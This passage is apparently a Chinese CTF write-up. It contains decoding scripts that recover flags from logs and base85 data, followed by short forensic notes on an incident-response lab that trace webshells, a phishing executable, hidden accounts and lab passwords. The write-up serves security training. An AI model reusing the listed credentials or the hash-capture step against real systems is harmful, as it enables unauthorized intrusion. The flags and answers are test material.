for entry in entries:
print(f'{entry[0]} | {entry[1]}')
# 提取每个 value 的第一个字符
hex_str = ''.join(entry[1][0] for entry in entries)
print('n🔤 拼接首字符组成十六进制串:', hex_str)
# 解码为 ASCII 字符串
try:
flag = bytes.fromhex(hex_str).decode('utf-8')
print('n🎉 成功解码 ASCII 字符串为 flag:', flag)
except ValueError as e:
flag = '<解码失败>'
print('n❗ 解码失败:', e)
return hex_str, flag
# 主程序入口
if __name__ == '__main__':
log_file = 'D:Edge\timeloop.log\timeloop.log'
hex_sequence, extracted_flag = extract_flag_verbose(log_file)
print('n=========================')
print('🧾 最终十六进制串:', hex_sequence)
print('🏁 解码得到的 Flag:', extracted_flag)
print('=========================')
#palu{Time_1s_cycl1c@l_0x}
TopSecret
翻阅看见
复制后base64解码发现
palu{You_re_a_real_50w}
时空交织的密语
data = [
'63B05C87', '63B05C87', '63B05C80', '63B05C86',
'63B05C81', '63B05C86', '63B05C8C', '63B05C87',
'63B05C85', '63B05C87', '63B05C8B', '63B05C85',
'63B05C84', '63B05C86', '63B05C89', '63B05C86',
'63B05C8D', '63B05C86', '63B05C85', '63B05C85',
'63B05C8F', '63B05C83', '63B05C81', '63B05C87',
'63B05C83', '63B05C85', '63B05C8F', '63B05C84',
'63B05C82', '63B05C83', '63B05C81', '63B05C86',
'63B05C8E', '63B05C86', '63B05C81', '63B05C87',
'63B05C82', '63B05C87', '63B05C89', '63B05C85',
'63B05C8F', '63B05C85', '63B05C87', '63B05C86',
'63B05C88', '63B05C86', '63B05C89', '63B05C87',
'63B05C83', '63B05C87', '63B05C80', '63B05C86',
'63B05C85', '63B05C87', '63B05C82', '63B05C87',
'63B05C8D', '63B05C8D'
]
msg = ''
for i in data:
msg += i[-1]
print(bytes.fromhex(msg[1:-1]))
量子迷宫
打开文件,发现内容是用base85编码
发现是以 QUBIT开头,题目还说是每一行是一个量子bit操作
那就去提取这个01序列,解码是flag
import base64
import re
try:
with open('quantum_log.b85', 'r') as f:
encoded = f.read().strip()
except FileNotFoundError:
print('Error: quantum_log.b85 not found')
exit(1)
try:
decoded = base64.b85decode(encoded).decode('utf-8')
except (base64.binascii.Error, UnicodeDecodeError) as e:
print(f'Error: Invalid base85 encoding - {e}')
exit(1)
bits = [match.group(1) for line in decoded.splitlines() if'QUBIT'in line and (match := re.search(r'QUBIT|([01])⟩', line))]
binary = ''.join(bits)
ifnot binary:
print('Error: No valid QUBIT bits found')
exit(1)
if len(binary) % 8 != 0:
print(f'Warning: Binary length {len(binary)} is not multiple of 8, padding with zeros')
binary += '0' * (8 - len(binary) % 8)
ascii_text = ''.join(chr(int(binary[i:i+8], 2)) for i in range(0, len(binary), 8))
print(f'Decoded ASCII: {ascii_text}')
应急响应
应急响应1-1
查看history,发现使用了docker,并且在/var/log目录下发现nginx,直接查看nginx的日志
发现攻击者的ip
应急响应1-2
在windows10机子下面垃圾桶里面找到一个简历.zip,里面存在一个exe恶意文件,将恶意文件放到奇安信情报沙箱上查看,发现第二个攻击者的ip地址
应急响应1-3
查看docker启的服务,发现存在三个服务
接下来查看每个对应的日志,发现在2025:03:05:58的时候存在大量请求,应该就是攻击者暴力破解开始时间
应急响应1-4
windows10查看计划任务,直接查看到flag1
应急响应1-5
windows10查看a.bat,直接查看到flag2
应急响应1-6
在webserver机子上面发现存在mysql登录的密码TOOR@123
在sql内台主机进行mysql登录
对最后一段进行解码得到flag
应急响应1-7
钓鱼文件就是windows10内台机子中的简历.zip中的恶意文件,直接计算hash
应急响应1-8
在webserver下进入root,密码也是root,一直查找,最后发现存在一个shell.php,hack就是webshell的key
应急响应1-10
第二个webshell就在webserver下的a.php文件中
应急响应1-11
kali添加和一个题目环境一样的网卡,生成一个恶意文件,放到win10这台主机上抓取hash
对system进行爆破,得到隐藏账户wmx_love
应急响应2-1
控制台->标签列表
应急响应2-2
身份验证
应急响应2-3
mysql服务器的flag库
应急响应2-4
查看雷池waf的攻击日志,发现后面几页有个发起大量攻击的ip。应该就是攻击者的ip
应急响应2-5
攻击时间
应急响应2-6
Web主页中有个/bak/key.txt
应急响应2-7
在key.txt最后面发现邮箱
应急响应2-8
在http://192.168.20.103:16303/logs/website网站日志中发现一个ip大量对网站进行扫描,应该就是攻击者的立足ip
应急响应2-10
在sshserver的/home/parloo中的parloo_flag01
应急响应2-14
雷池waf中的攻击日志筛选进行泄露,发现9999、3000等端口,一个个尝试一下,发现8081端口是对的
应急响应2-15
在server01的1Panel docker 环境中,有Web服务文件夹,其中的parloo档案网站的index.html中
应急响应2-16
查看gitea 中 维护页面的源码中,/admin/parloo有后门
应急响应2-18
留下的用户->hack
应急响应2-19
内部群的flag
应急响应2-26
在 server 的 /opt/parloo/command.log 中
应急响应2-30
在server中,攻击者添加了parloohack
parloohack/123456
应急响应2-32
在server的parloohack中的aa
应急响应2-36
palu01中,被创建了99个用户
应急响应2-37
palu01 的 C:a.vbs 中的密码
应急响应2-38
在gitea的数据库中,有攻击者留下的数据
应急响应2-39
通过修改admin密码登录后,发现私有库 palu,这里有flag
应急响应2-40
在mysql内台机子上查看历史记录,发现运行了一个.a文件并且计算过md5,那么怀疑攻击者留下的恶意文件就是这个
应急响应2-41
逆向分析 .a 文件,模拟通信函数
应急响应2-42
从strings里,看到隐藏文件
应急响应2-43
回到主函数,模拟权限提升函数
应急响应2-44
在子怡的电脑中,发现有下载记录
应急响应2-45
在palu02的内网通接收文件目录下
应急响应2-46
aa放到沙箱上,得到IP回连地址
应急响应2-47
在palu02的浏览器中有c2服务器登录名称/密码
结束
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析 长期招新